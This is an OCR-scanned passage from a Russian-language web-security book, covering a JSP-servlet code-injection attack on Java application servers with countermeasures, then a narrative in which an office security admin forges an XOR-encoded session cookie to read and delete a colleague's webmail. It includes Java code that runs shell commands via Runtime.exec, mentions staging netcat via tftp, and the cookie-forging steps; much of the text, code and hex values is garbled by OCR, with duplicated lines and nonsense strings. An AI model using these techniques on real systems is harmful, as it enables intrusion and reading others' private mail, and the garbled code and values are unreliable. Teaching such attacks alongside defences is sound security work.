Если воспользоваться таким адресом URL, то в окне броузера будет выведена строка Execute Me. В данном случае обращение к обработчику JSPServlet привело к удаленному выполнению команды на сервере компании Acme, а не к получению исходного кода.
Как видно из рис. 12.10, при принудительном использовании обработчика JSPServlet была скомпилирована HTML-страница. При этом полученный класс-файл был размещен в рабочем каталоге, а полученные в результате его выполнения данные отправлены обратно клиенту.
Рис. 12.10. При принудителъном вызове сервлета JSPServlet был инициирован процесс компиляции страницы JSP
Однако вместо простых операторов печати взломщик может воспользоваться более мощным фрагментом кода и выполнить на удаленной системе произвольную команду. На рис. 12.11 показан процесс вставки кода, позволяющего выполнить на удаленной машине команду dir.
Рис. 72 〃. Вставка исходного кода, используемого для взлома
Вот этот фрагмент кода на Java:
<1€ page inport»*java.io.•* »
<1
String s=null, t«**;
try {
Process psRuntlme.getRuntiiae().exec(•*and /с dir");
BufferedRaader 8l*nev BufferedReader (new InpatStreaaReader(p.getlnputStream()));
while ((sssI.readLlne()) I «null) {
t+=s;
catch (lOException e) {
e.printStackTrace();
} l> <pre><l»t lx/pre>
При использовании этого фрагмента кода удаленной операционной системой будет выполнен метод ехес. В данном случае взломщик выполнил команду cmd /с dir, предполагая, что сервер Web Logic работает под управлением Windows NT. Если бы удаленный Web-сервер был установлен на машине UNIX, то взломщик должен был бы запустить процесс /bin/sh -с Is -la. На рис. 12.12 показано содержимое страницы input.html перед ее компиляцией.
&・,1Ы •,电 р««« uuftW^E— ••*■♦••• ••!*!» |щ rniil J"***>y«力《иезl»-Riatfubf «rffUtatattH * «<»<(*иЫ < Hu", JMIc»«OUmI«i id ■ new|Utl|«t*>*4CMt«1 avw Х“*НмммМш1аП『,“ M“^**・)Н.г4м1м|в<-ч|/«<кАиаЦМ,"ши>(На>«.})с«<<МКиЬи«|йИа ,“• (viGtacf x~ 1产・•&・,1Ы •,电 р««« uuftW^E— ••*■♦••• ••!*!» |щ rniil J"***>y«力《иезl»-Riatfubf «rffUtatattH * «<»<(*иЫ < Hu", JMIc»«OUmI«i id ■ new|Utl|«t*>*4CMt«1 avw Х“*НмммМш1аП『,“ M“^**・)Н.г4м1м|в<-ч|/«<кАиаЦМ,"ши>(На>«.})с«<<МКиЬи«|йИа ,“• (viGtacf x~ 1产・•Рис. 12.12. Содержимое страшщы input.html со встроенным исходным кодомРис. 12.12. Содержимое страшщы input.html со встроенным исходным кодом
&・,1Ы •,电 р««« uuftW^E— ••*■♦••• ••!*!» |щ rniil J"***>y«力《иез
l»-Riatfubf «rffUtatattH * «<»<(*иЫ < Hu", JMIc»«OUmI«i id ■ new|Utl|«t*>*4CMt«1 avw Х“*НмммМш1аП『,“ M“^**・)Н.г4м1м|в<-ч|/«<кАиаЦМ,"ши>(На>«.})с«<<МКиЬи«|йИа ,“• (viGtacf x~ 1产・•
&・,1Ы •,电 р««« uuftW^E— ••*■♦••• ••!*!» |щ rniil J"***>y«力《иез
l»-Riatfubf «rffUtatattH * «<»<(*иЫ < Hu", JMIc»«OUmI«i id ■ new|Utl|«t*>*4CMt«1 avw Х“*НмммМш1аП『,“ M“^**・)Н.г4м1м|в<-ч|/«<кАиаЦМ,"ши>(На>«.})с«<<МКиЬи«|йИа ,“• (viGtacf x~ 1产・•
Рис. 12.12. Содержимое страшщы input.html со встроенным исходным кодом
Рис. 12.12. Содержимое страшщы input.html со встроенным исходным кодом
Теперь для компиляции HTML-файла взломщику необходимо воспользоваться обработчиком JSP-страниц следующим образом:
:/ /www. acnetгadeon 1 ine. co® / •. j sp/.. / f eedback / input.html
На рис. 12.13 показан полученный при этом результат.
Обратите внимание, что команда dir была удаленно выполнена на сервере компании Acme. Вполне уместен вопрос: "Взломщнк выполнил команду dir... ну и пто?". Но ведь вместо запуска команды dir взломщик может так же просто вьшолнить команду tftp, разместить на сервере утилиту netcat и лишь после этого приступить к удаленному выполнению команд на сервере. Получив интерактивный доступ к удаленной системе, взломщик сможет сделать все, что угодно. Как говорится, на этом игра закончена.
Аналогичный изъян был обнаружен в сервере Java Web Server компании Sun Microsystems. В комплект поставки этого сервера входит пример сервлета для реализации доски объявлений, который содержит изъян, аналогичный рассмотренному выше.
Рис. /2. /3. Выполнение команды dir с помощью cepe^iema JSPServlet
Контрмеры
Теперь, когда стало известно, сколь опасны могут быть атаки подобного рода, давайте посмотрим, насколько легко можно их предотвратить. Существует множество контрмер, но применение хотя бы части из них позволит отразить 99% атак.
Защита сервера Java Web Server
Для защиты сервера Java Web Server выполните следующие шаги (они упорядочены по степени важности).
Проверка входных данных. Пожалуй, ахиллесовой пятой Internet является недостаточная проверка входных данных. Это может привести к взлому даже самых защищенных Web-узлов. При обработке пользовательских данных нужно применять стандартные алгоритмы их проверки. Существующие Web- технологии и сценарии проверки входных данных рассматривались в главе 1. При корректной реализации механизма проверки входных данных шансы взломщика по успешному применению описанных выше приемов практически сводятся к нулю.
Удаление ненужных исполняемых файлов. По возможности удалите ненужные исполняемые файлы, такие, как cmd.exe, tftp.exe и ftp.exe в Windows или tftp и ftp в Unix. Если эти файлы полностью удалить с основного Web- сервера нельзя, по крайней мере попробуйте ограничить доступ к ним с помощью списка ACL. В системе Windows для наложения ограничений на выполнение команд можно воспользоваться средствами файловой системы NTFS. В системе UNIX также имеются встроенные средства установки таких разрешений.
Удаление установленных файлов примеров. Хотя этот шаг позволяет предотвратить атаки только на сервер JWS компании Sun, этим принципом имеет смысл руководствоваться и при развертывании других систем.
Другие основные контрмеры
Во многих серверах приложений Java существуют изъяны, связанные с ошибками, допущенными при разработке их архитектуры и проектировании. Хотя для борьбы с этими изъянами не существует быстрых контрмер, следует учесть ряд общих рекомендаций.
Отделение сервлетов ядра от сервлетов приложения
Серилет — это ключевой компонент сервера приложений Java. Многие компоненты сервера приложения реализованы в виде сервлетов Java. Сервлеты используются для извлечения файлов из файловой системы, выполнения синтаксического анализа данных HTTP-запросов, компиляции и выполнения серверных страниц Java, а также для выполнения многих других функций. Эти сервлеты составляют основу, используемую в процессе разработки приложений. При развертывании приложения на сервере приложений Java необходимо обеспечить, чтобы сервлеты приложения хранились отдельно от сервлетов ядра. В противном случае взломщики смогут обращаться к ним напрямую, как описано выше.
Запрещение использования незарегистрированных сервлетов
Некоторые серверы приложений Java разрешают выполнение сервлетов, которые не зарегистрированы в системе, но физически присутствуют в каталоге классов. При этом, даже если системный администратор не зарегистрировал эти сервлеты, их по- прежнему можно использовать, если известен полный путь к каталогу, в котором они содержатся. Для предотвращения случайного выполнения сервлета нужно физически удалить соответствующий файл класса из файловой системы или файла JAR. В свою очередь, разработчики серверов приложений Java должны гарантировать, что незарегистрированные сервлеты не подлежат выполнению.
Связывание сервлетов с типом ресурсов
Некоторые изъяны, например возможность принудительного использования обработчика JSP-страниц для компиляции кода Java, внедренного в файлы других типов, возникают из-за того, что обработчик JSP можно применять для обработки ресурсов, которые на самом деле не являются страницами JSP. Например, можно запретить использование обработчика JSP для обработки HTML-файла. В состав сервера приложений Java должен входить механизм проверки, наложения ограничений и связывания обработчиков с ресурсами различных типов.
Надежная проверка входных данных
Пожалуй, надежная проверка входных данных является наиболее важной контрмерой, которую можно посоветовать. Все данные, полученные от Web-броузера, должны быть тщательно проверены. Такая проверка особенно необходима в том случае, когда данные записываются на жесткий диск или в базу данных.
Запрещение прямого вызова сервлетов приложения
Во многих случаях для запуска сервлетов Web - приложения разработчики предпочитают использовать URL с префиксом /servlet/ или /webapp/. С тонки зрения разработчиков, это позволяет значительно упростить жизнь, посколысу при этом не требуется выполнять регистрацию или какую-либо настройку параметров. Однако в контексте обеспечения безопасности, если сервлеты приложения и ядра не отделены друг от друга, то загружаться могут произвольные сервлеты. Таким образом, лучше запретить запуск сервлетов напрямую везде, где это возможно.
Отключение всех неиспользуемых сервлетов и примеров
Зачастую серверы приложений Java поставляются с примерами сервлетов и некоторыми другими сервлетами, которые не используются. Для обеспечения безопасности все примеры сервлетов лучше физически удалить из файловой системы. Кроме того, необходимо также отклюиитъ все неиспользуемые сервлеты ядра. Например, если в приложении не используются серверные включения SSI или страницы JSP, то для предотвращения случайного запуска соответствующие сервлеты можно отбслючить. И наконец, всегда нужно следить за появлением модулей обновления и сразу же их устанавливать.
Резюме
Бизнес и промышленность развиваются настолько быстро, что процесс разработки приложений все больше ускоряется. Это заставляет разработчиков использовать новые архитектуры и программные средства, которые позволяют ускорить разработбсу приложений элеБсгронной коммерции. Ряд программных продуктов, например Tomcat, Resin, Servlet Exec и J run, подвержены изъянам, которые описывались выше. Некоторыми из них могут воспользоваться взломщибси, которые хорошо знакомы с основами функционирования этих приложений. Для защиты от таких атак следует принять ответные контрмеры. Web - приложения должны разрабатываться так, чтобы клиенты обладали лишь необходимыми привилегиями. Кроме того, разработчики должны реализовать тщательную проверку пользовательских данных. В заклютение стоит еще раз повторить, что необходимо следить за появлением новых модулей обновления, которые должны быть установлены сразу после того, как они были выпущены.
ГЛАВА 13
Перевоплощение
После того как на земле впервые появился благочестивый и дружелюбный человек, все люди стали участниками неотвратимой битвы Ватерлооf где царили надменностьf мошенничество и кровь.
Чарльз Флетчер Дол (1845—?)
Введение
От нарушения подлинности, т.е. от способности одного человека вьщавать себя за другого, ежегодно страдают сотни тысяч людей. Если учесть, что подобные проблемы стали настоящей головной болью для Федеральной торговой комиссии, вряд ли кого- нибудь удивит, что компьютерное перевоплощение таит в себе не меньшую угрозу.
Действительно, принять чужой облик в Internet гораздо проще, чем в реальном мире. Именно поэтому лишь немногие осознают эту опасность и далеко не все из них пытаются ее избежать. По мере развития электронной коммерции защита личности в Internet становится все более важной, посколысу лишь в этом случае можно обеспечить сохранность конфиденциальных данных.
Перехват сеансов: похищение чужого облика и сорванное свидание
Алиса встретила Чарльза в чате. Они обнаружили, что живут достаточно близко друг от друга и имеют много общего. Чарльз спросил, когда они смогут встретиться. Алису это приглашение очень взволновало. После обмена несколькими письмами по электронной почте она оказалась в дорогом итальянском ресторане, ожидая Чарльза. Однако он так и не пришел. Разочарованная Алиса вернулась домой и решила больше никогда не разговаривать с Чарльзом. Несмотря на испорченное настроение, она была крайне удивлена, посколысу Чарльз был не похож на типа, который хотел просто подшутить. Так что же произошло?
Скоро все станет на свои места, когда выяснится, чем за несколько часов до этого занимался Боб. Он был администратором по обеспечению безопасности в компании, где работала Алиса, и "на днях** решил пригласить ее на встречу. Другой сотрудник компании сообщил Бобу, что Алиса уже приглашена на свидание своим виртуальным другом. Боб решил не терять времени. Так все и началось...
7:00, 5 марта, квартира Алисы
Алиса зарегистрировалась на почтовом сервере http: //eweb«ail.exanple.сот/ и решила написать письмо Чарльзу о том, что согласна пообедать с ним, а вечером сходить в кино. Она была взволнована тем, что наконец-то увидит Чарльза. Простая почтовая служба на узле е Web Mail очень напоминает почтовые службы Hotmail или Yahoo!. При регистрации на Web-узле eWebMail в HTML-форме необходимо указать имя пользователя и пароль, как показано на рис. 13.1.
Алиса быстро воспользовалась диалоговым окном Compose, чтобы отправить Чарльзу сообщение с предложением о месте и времени встречи. На рис. 13.2 показано окно броузера Алисы с написанным письмом.
Отправив письмо, Алиса начала беспокоиться, что может опоздать на работу. Поэтому она быстро оделась и вышла из дому.
Рис. 13.1. Окно регистрации на Web-yi^e http://ewix&il ,9хлвр1е. сот/
Рис. 13.2. Письмо Алисы Чарльзу
8:30, офис Алисы
Алиса зашла в холл офиса компании и сразу же встретила Николь, которая работала секретарем. Николь и Алиса были хорошими подругами. Алиса тут же рассказала о том, что сегодня вечером наконец-то увидит Чарльза. Как только Алиса вышла в конференц-зал, в холле появился Боб. После обмена приветствиями Николь рассказала ему о вечернем свидании Алисы. Боб вернулся к себе и попытался сосредоточиться на работе. Его очень задело, что бсго-то пригласил Алису на свидание. Потратив целый час на раздумья, Боб решил перехватить электронные сообщения Алисы и посмотреть, что же происходит на самом деле.
Боб знал, что для личной переписки Алиса пользуется почтовой службой eWebMail. Он решил, что для получения доступа к ее почтовым сообщениям у себя нужно установить ту же службу. В прошлом месяце Боб участвовал в конференции по вопросам безопасности, где два парня обсуждали проблемы хакинга в Web. Он был крайне заинтригован этим разговором. Регистрация на бесплатной почтовой службе eWebMail оказалась простой, и вскоре Боб впервые зарегистрировался на узле http: //eweboia 11. example.сот/ (рис. 13.3), чтобы испытать свой новый почтовый адрес bob^evebunail. ехалфГе ・ со*.
Рис. 13.3. Регистрация Боба на ■)с http: //е vehu i 1 ехаяр! е. сот/
10:00, рабочее место Боба
Боб внимательно изучил работу почтовой службы Web-узла eWebMail. Основу этого приложения составляли сервлеты Java и страницы JSP. Предлагаемые на узле cWEbMail услуги практически ничем не отличались от того, что предлагалось большинством других почтовых служб.
Когда Боб зарегистрировался на узле eWebMail, на экране появилось диалоговое окно программы Cookie Pal (рис. 13.4).
『к 13.4. Диалоговое окно программы Cookie Pal『к 13.4. Диалоговое окно программы Cookie PalCookie Pal — это условно бесплатное приложение, которое можно найти по адресу http:// wvw.kburra.net/. Боб использовал его для наблюдения и управления данными cookie, которые Web-узлы передают его броузеру. В данном случае ему показалось, что узел cWcbMail передал ему слишком длинную строку cookie с именем uid. Значение uid очень напоминало шестнадцатеричный код. Эти данные заинтриговали Боба. Он слышал, что в Web - приложениях данные cookie часто используются для передачи идентификаторов сеансов. Боб подумал, что, возможно, эти данные cookie также являются некоторой формой идентификаторов сеанса, используемых на узле eWebMail.
『к 13.4. Диалоговое окно программы Cookie Pal
『к 13.4. Диалоговое окно программы Cookie Pal
Дальше Боб создал несколько новых учетных записей с именами ЬоЫ, ЬоЬ2 и ЬоЬЗ. При каждой регистрации он получал похожую строку cookie. После четырех регистрации в качестве разных пользователей Боб собрал вместе все строки cookie.
bob€ewebnAil.example.con C8C5C8BACFDOCrC8C7CBC3C684CPD2CBC7DAC6CF84C9C5C7:l boblgewebmail.ex&nple.com C8CSC89BEACFDDCFC8C7CBC3C684CFD2CBC7DKC6CF84C9C5C7:1 bob20ewebmail.example.сош C8C5C898EACFDDCFC8C7CBC3C684CFD2CBC7DAC6CF84C9C5C7:1 bob3eewebmail.example.com C8C5c899BICFDDCFC眈7СВСЗС684СИ)2cBe7DAC6CF84C9C5C7:1
Когда Боб разместил данные cookie и соответствующие адреса в виде таблицы, ему в голову сразу же пришли две мысли.
Число байтов в шестнадцатеричной форме совпадает с количеством символов в почтовом адресе.
В последних трех адресах все значения cookie отличаются только одним байтом, который является четвертым от начала. Эти байты с о ответствуют цифрам 1, 2 и 3 почтовых адресов.
В данный момент Бобу еще не было понятно, что означает строка : 1 каждого значения. Однако сейчас это не имело никакого значения.
Боб подумал, что было бы слишком просто, если бы адреса электронной почты напрямую преобразовывались в шестнадцатеричные значения. На самом деле это было совсем не так, поскольку байты в шестнадцатеричной форме не соответствовали кодам ASCII-символов строки адреса. Боб решил, что для шифрования адреса и формирования на его основе строки cookie использовался какой-нибудь простой алгоритм. Еще раз посмотрев на закодированные строки, Боб решил, что разработчики Web-узла eWebMail воспользовались слабым алгоритмом шифрования с использованием операции XOR. Он быстро написал сценарий на языке Perl, чтобы выполнить декодирование строки cookie с использованием каждого из 256 различных байтов и операции XOR и посмотреть, будет ли получен исходный адрес. Боб добился своего при достижении символа ОхАА. Оказалось, что строки cookie создавались путем применения к шестнадцатеричному коду каждого символа почтового адреса и значения ОхАА операции XOR. В двоичной форме значение ОхАА можно представить как 01010101.
В о оружейный полученными знаниями, Боб уже был готов взломать учетную запись Алисы. Кроме того, ему стало известно, что на узле eWebMail данные cookie с момента их создания используются в течение одного часа. Другими словами, типичный сеанс работы с узлом eWebMail может пр одолжаться один час. Если броузер будет оставаться в бездействии в течение часа, то пользователь будет автоматически отключен от Web -приложения eWebMail. Для взлома учетной записи Алисы Боб создал
строку cookie, зашифрованную с использованием операции XOR и ее адреса электронной почты alice^ewebmail. example. com. Вот что получилось:
А 1 1 С61 6С 69 63 ЛА ЛА АА .СВ С6 СЗ С9А 1 1 С61 6С 69 63 ЛА ЛА АА .СВ С6 СЗ С9. сот2Е 63 6F 6D84 С9 С5 С7. сот2Е 63 6F 6D84 С9 С5 С7efevebmail . example
А 1 1 С
61 6С 69 63 ЛА ЛА АА .
СВ С6 СЗ С9
А 1 1 С
61 6С 69 63 ЛА ЛА АА .
СВ С6 СЗ С9
. сот
2Е 63 6F 6D
84 С9 С5 С7
. сот
2Е 63 6F 6D
84 С9 С5 С7
65 40 65 77 65 62 6D 61 69 6С 2Е 65 78 61 6D 70 6С 65 ....(оперАЦИЯ XOR гфименяется к каждому байту)
CF ЕА CF DD CF С8 С7 СВ СЗ С6 84 CF D2 СВ С7 DA С6 CF
11 :ОО, рабочее место Боба
Боб вышел, чтобы выпить воды. Он заметил, что Алиса была по-прежнему занята на совещании, проходящем в конференц-зале. Боб загадочно улыбнулся и вернулся на свое рабочее место, плотно закрыв дверь. Он очистил окно броузера и зарегистрировался на узле е Web Mail под именем bob 8 е web mail, example .com. Были созданы данные cookie, и Боб смог просмотреть свою папку Inbox, как показано на рис. 13.5.
Ntp /t9*twn^ «млс^а гяп*Ntp /t9*twn^ «млс^а гяп*NrttrdptlNrttrdptl
Ntp /t9*twn^ «млс^а гяп*
Ntp /t9*twn^ «млс^а гяп*
Nrttrdptl
Nrttrdptl
BobCS”l|№,, P・「2rw■口ih> Add,”,,СгюкPop Moil LaqoutBobCS”l|№,, P・「2rw■口ih> Add,”,,СгюкPop Moil LaqoutWelcome Bob iziOMfllWelcome Bob iziOMfllImport/Export AddrwsshookImport/Export AddrwsshookImport and Export your personal address boo к to and from eWebmail.Import and Export your personal address boo к to and from eWebmail.Ch,c). I xQ,mel M,SCh,c). I xQ,mel M,SYou can configure eWebmail to fetne.e messages from most External Mail accounts to which you have POPYou can configure eWebmail to fetne.e messages from most External Mail accounts to which you have POP
Bob
CS”l|№,, P・「2rw■口ih> Add,”,,Сгюк
Pop Moil Laqout
Bob
CS”l|№,, P・「2rw■口ih> Add,”,,Сгюк
Pop Moil Laqout
Welcome Bob iziOMfll
Welcome Bob iziOMfll
Import/Export Addrwsshook
Import/Export Addrwsshook
Import and Export your personal address boo к to and from eWebmail.
Import and Export your personal address boo к to and from eWebmail.
Ch,c). I xQ,mel M,S
Ch,c). I xQ,mel M,S
You can configure eWebmail to fetne.e messages from most External Mail accounts to which you have POP
You can configure eWebmail to fetne.e messages from most External Mail accounts to which you have POP
Рис. 13.5. Папка Inbox пользователя bobfeweЬяаИ.example.сок
Для него пришло одно сообщение. После его просмотра стало понятно, что это приветственное сообщение службы е Web Mail (рис. 13.6).
Боб снова переместился в папку Inbox, а затем закрыл окно броузера Netscape. После этого он открыл свой файл cookies.txt и поискал данные, сгенерированные узлом ewebRail.example.com В найденном фрагменте содержалось его зашифрованное значение uid.
ewebmail.example.com FALSE / FALSE 1020114192 uid
C8CSC8EACFDDCFC8C7CBC3C684CFD2CBC7DAC6CF84C9C5C7sl
Боб заменил это значение тем, которое ранее быпо получено с помощью операции ХОКдля адреса alice^ewebmail.example.com. Символы :1 он оставил без изменений.
ewebmail.example.com FALSE / FALSE 1020114192 uid
CBC6C3C9CFEACFDDCFC8C7CBC3C684CFD2CBC7DAC6CT84C9C5C7!1
Рис. 13.6. Список почтовых сообщений Боба
После этого он открыл окно броузера Netscape и послал запрос на узел ewebmail.example.com. Вот это да! На экране появилась папка входящих сообщений Алисы (рис. 13.7).
Рис. /3 7 Боб получил доступ к папке Inbox Алисы
FaJc»r-r Corttrnt,FaJc»r-r Corttrnt,InbOXfTotal 3,Unread 3JInbOXfTotal 3,Unread 3J*F*FAMc・
FaJc»r-r Corttrnt,
FaJc»r-r Corttrnt,
InbOXfTotal 3,Unread 3J
InbOXfTotal 3,Unread 3J
*F
*F
Смирите Prtjlwn?rict?s
Address 6о<й
Pop、WQ
ICQQUQ
< I'.、l,,»/■ h. 一 I< I'.、l,,»/■ h. 一 I——^崎
< I'.、l,,»/■ h. 一 I
< I'.、l,,»/■ h. 一 I
Puc. 13.8. Список почтовых сообщений Алисы, просматриваемый Бобом
Сегодня Алиса получила три новых сообщения. Боб щелкнул на гиперссылке Inbox, чтобы просмотреть список сообщений Алисы. На рис. 13.8 показано содержимое окна броузера Боба.
Рис. 13.9. Сообщение Алисе от ЧарльзаРис. 13.9. Сообщение Алисе от ЧарльзаВнимание Боба привлекло сообщение с темой Re: Dinner and Movie, которое было отправлено Чарльзом (рис. 13.9). Он открыл это сообщение и прочитал его.
Рис. 13.9. Сообщение Алисе от Чарльза
Рис. 13.9. Сообщение Алисе от Чарльза
Сообщение от Чарльза пришло в 10:16 и содержалось в папке входящих сообщений Алисы. Она была очень занята и не могла его прочитать. В этом сообщении Чарльз предлагал пойти в другой ресторан. В приступе ярости и отчаяния Боб удалил ответное письмо Чарльза и вышел из приложения. Бедняжка Алиса так и не получила письмо от Чарльза.
12:30, рабочее место Алисы
Совещание оказалось более продолжительным, чем обычно. Алиса вернулась на свое рабочее место и, перед тем как уйти на обед, решила проверить электронную почту.
Она зарегистрировалась на узле eWebMail и увидела в папке входящих сообщений два письма (рис. I3.I0).
Первое сообщение было от ее друга Тамми из Канады, который прислал несколько фотографий своих детей. Вторым пришло еженедельное письмо с новостями CNET. Такие сообщения использовались Алисой для отслеживания современного состояния информационных технологий. Алиса закрыла окно броузера и спокойно ушла на обед.
Рис. 13 10. Алиса проверяет свой почтовый ящик
21 :30, в итальянском ресторане
Прождав Чарльза долгих два часа, расстроенная Алиса ушла из итальянского ресторана. Примерно в это же время Чарльз покинул ресторан Las Brisas, так и не встретившись с Алисой. Никто из них не знал, почему встреча не состоялась.
Перехват сеансов
В контексте обеспечения безопасности перехват сеансов не является новым подходом. Чаще всего этот термин используется для описания процесса захвата ТСР- соединения, который выполняется после нескольких подготовительных атак. При
реализации такой атаки взломщик получает контроль над уже установленным ТСР- соединением. В контексте обеспечения безопасности в Web перехват сеансов означает получение контроля над сеансом работы с Web-приложением.
Протокол HTTP не поддерживает состояния. Клиент запрашивает конкретный ресурс, который в конечном счете предоставляется сервером. На заре своего развития основная цель World Wde Web заключалась в создании универсальной среды обмена информацией на базе протокола HTTP и представлении данных в формате HTML. Гиперссылки позволяли реализовать в документах перекрестные ссылки. Время шло, и появились серверы, которые могли обрабатывать динамическое содержимое и выполнять программы, предназначенные для генерации кода HTML. Достаточно быстро возникла потребность в повышении интерактивности. Благодаря тому что броузеры стали успешно обрабатывать и текст и графику, они прочно заняли место универсального клиента. На Web-серверах стали развертываться небольшие приложения, основу которых составляли CG 1-сценарии. Это позволило существенно расширить возможности всех пользователей Internet, которые работали с броузерами. С этого момента используемая операционная система уже не играла никакой роли, а в процессе разработки приложений вместо модели с центральным большим компьютером и множеством терминалов стала использоваться модель "клиент-сервер”, в рамках которой клиентами выступали броузеры, а сервером — Web-сервер.
Современными серверами Web-приложений обслуживаются сложные приложения, предназначенные, например, для комплексной автоматизации деятельности целого предприятия. Программа Microsoft Outlook — это пример полно функционального почтового клиента, который можно использовать независимо от Web-броузера. Серверы Lotus Domino предоставляют Web-интерфейс, с использованием которого пользователи могут выполнять практически те же задачи, что и клиенты Lotus Notes.
Во всех многопользовательских приложениях используется концепция пользовательских сеансов. Каждый пользователь взаимодействует с приложением в рамках отдельного сеанса работы. С помощью сеансов можно отслеживать всех текущих пользователей приложения. Такая возможность чрезвычайно важна для отделения действий одного пользователя от действий другого.
Несмотря на стремительное изменение серверных Web-технологий, протокол HTTP остается все тем же. В настоящее время его версия 1.1 остается наиболее широко используемой. При разработке и использовании Web -приложений существует одна проблема —отсутствие поддержки состояний в протоколе HTTP. В настоящее время не существует ни одного стандарта, в котором бы определялся механизм сохранения состояний в Web -приложениях. Разработчики решают этот вопрос различными способами. Существуют как хорошие, так и плохие подходы к решению этой проблемы, хотя каждый из них позволяет получить рабочее приложение. Неудачная реализация механизма поддержки состояний приводит к возможности атак, связанных с перехватом сеансов.
Заключительные замечания об атаке, направленной на перехват сеанса
Давайте еще раз пр оанализируем атаку ** Ч арл ьз—Ал и са - Боб *'. Боб начал сеанс работы с приложением узла eWeb Mail под своим именем. Он не знал, какой пароль используется Алисой. Однако Боб смог разобраться и обойти механизм отслеживания состояния сеансов, который использовался на почтовом сервере. В процессе работы с приложением Боб заменил свои регистрационные данные аналогичными данными Алисы и таким образом смог добиться поставленной цели. Недосмотр и недостаточное понимание проблем, связанных с плохой реализацией механизма управления сеансами, привели к возможности взлома этой почтовой службы.
Диаграммы состояний приложения
Попробуем разобраться с тем, что же произошло, воспользовавшись диаграммой состояний приложения е Web Mail (рис. 13.11). Диаграммы состояний относятся к одному из разделов дискретной математики, который называется теорией конечных автоматов. Подробное обсуждение этой теории не входит в задачи данной книги.
Рис. 13 / / Диаграмма состояний приложения eWeb Mail
Каждое приложение имеет по крайней мере два состояния: начальное и конечное. При работе с приложением пользователь может ,,находиться,* в одном из его различных состояний. На рис. 13.11 состояния обозначены прямоугольниками с округленными краями. Прямоугольники с обычными углами обозначают внутренние процессы приложения. Состояния соединяются линиями перехода, переводящими пользователя из одного состояния в другое. Переход между двумя состояниями может оказаться невозможным, если они не связаны линией перехода. Последнее утверждение является очень важным. В частности, атаки, направленные на перехват сеанса, основаны на изъянах, которые позволяют такой недопустимый переход.
Рассмотрим состояние Read E-mail (чтение сообщения) приложения eWebMail. Пользователь может достичь этого состояния только в том случае, если перед этим он находился в состоянии просмотра списка входящих сообщений. Щелкнув на соответствующей гиперссылке, пользователь сообщает приложению о том, что нужно перейти из состояния Inbox в состояние Read E-mail. Запрос пользователя обрабатывается внутри приложения, которое затем выводит текст почтового сообщения, содержащегося в папке Inbox. В результате пользователь переходит в состояние Read E-mail. Находясь в этом состоянии, он может вернуться в состояние Inbox, перейти в состояние Reply to E-mail (ответить на сообщение) или в состояние Delete E-mail (удаление сообщения).
Точка входа в приложение определяется начальным состоянием. В данном случае таким состоянием является Login (регистрация), переход из которого можно осуществить лишь после ввода правильной комбинации имени пользователя и пароля. После ввода корректных данных приложение создает логический сеанс работы. Сеанс связывает пользователя с приложением и позволяет отслеживать состояния пользователя внутри приложения. Сеанс продолжается до достижения конечного состояния или возникновения ошибки. В рассматриваемом случае сеанс работы с приложением завершается при достижении конечного состояния Logoff (выход из системы). При этом должны быть удалены все значения, которые использовались для отслеживания сеанса. С этого момента пользователь больше уже не может использовать приложение.
Протокол HTTP и отслеживание сеансов
Для того чтобы увидеть, как реализуется управление сеансами HTTP, рассмотрим пример с Алисой, которая использует почтовую службу eWebMail для отправки сообщения Чарльзу. На рис. 13.12 в терминах диаграммы состояний и сеансов показано, как Алиса использовала приложение eWebMail.
Check E-mailCheck E-mail1HI IP-ответ: в броузере Алисы отображается содержимое ее папки входящих сообщений1HI IP-ответ: в броузере Алисы отображается содержимое ее папки входящих сообщенийHTTP-запрос: Алиса сюобщаето необходимости создания нового схюбщения. В приложении создается новое сообщениеHTTP-запрос: Алиса сюобщаето необходимости создания нового схюбщения. В приложении создается новое сообщение1HTTP-запрос: Алиса регистрируется в системе Приложение проверяет корректность введенных данных61HTTP-запрос: Алиса регистрируется в системе Приложение проверяет корректность введенных данных6Сомове New E-mailСомове New E-mail2НТТР-ответ:Алисы передается форма создания почтового сооб ще ния. Она набираеттекст сообщения и указывает адрес2НТТР-ответ:Алисы передается форма создания почтового сооб ще ния. Она набираеттекст сообщения и указывает адресE・milWriting FormE・milWriting FormI Send II Send I3НI I Р-запрос: Алиса отправляет сообщение. Приложение обрабатывает запрос на отправку и запускает почтовую программу3НI I Р-запрос: Алиса отправляет сообщение. Приложение обрабатывает запрос на отправку и запускает почтовую программуHTTP-запрос: в броузере Алисы снова отображается содержимое ее папки входящих сообщенийHTTP-запрос: в броузере Алисы снова отображается содержимое ее папки входящих сообщений
Check E-mail
Check E-mail
1
HI IP-ответ: в броузере Алисы отображается содержимое ее папки входящих сообщений
1
HI IP-ответ: в броузере Алисы отображается содержимое ее папки входящих сообщений
HTTP-запрос: Алиса сюобщаето необходимости создания нового схюбщения. В приложении создается новое сообщение
HTTP-запрос: Алиса сюобщаето необходимости создания нового схюбщения. В приложении создается новое сообщение
1
HTTP-запрос: Алиса регистрируется в системе Приложение проверяет корректность введенных данных
6
1
HTTP-запрос: Алиса регистрируется в системе Приложение проверяет корректность введенных данных
6
Сомове New E-mail
Сомове New E-mail
2
НТТР-ответ:
Алисы передается форма создания почтового сооб ще ния. Она набираеттекст сообщения и указывает адрес
2
НТТР-ответ:
Алисы передается форма создания почтового сооб ще ния. Она набираеттекст сообщения и указывает адрес
E・mil
Writing Form
E・mil
Writing Form
I Send I
I Send I
3
НI I Р-запрос: Алиса отправляет сообщение. Приложение обрабатывает запрос на отправку и запускает почтовую программу
3
НI I Р-запрос: Алиса отправляет сообщение. Приложение обрабатывает запрос на отправку и запускает почтовую программу
HTTP-запрос: в броузере Алисы снова отображается содержимое ее папки входящих сообщений
HTTP-запрос: в броузере Алисы снова отображается содержимое ее папки входящих сообщений
Рис. 13.12. Сеанс работы Ашсы с приложением eWebMail
Алиса начинает с состояния Login. Она вводит свое имя и пароль, после чего приложение успешно переходит в новое состояние. При этом для Алисы создается идентификатор uid, который в виде данных cookie передается ее броузеру. С момента создания эти данные могут использоваться в течение одного часа. Таким образом, каждый раз, когда броузер передает запрос на узел http: //еvebmail.exainple• соа/, в этом запросе передается также и идентификатор uid, который может использоваться до истечения срока его применения. После ввода Алисой корректных регистрационных данных приложение переходит из состояния Login в состояние Inbox. Теперь приложение передает ответ на HTTP-запрос, полученный им в состоянии Login. В ответе содержится представление списка входящих сообщений, которое отображается в броузере Алисы после завершения транзакции HTTP. В этот момент между броузером и Web-сервером уже нет сетевого соединения, а есть лишь логическая связь.
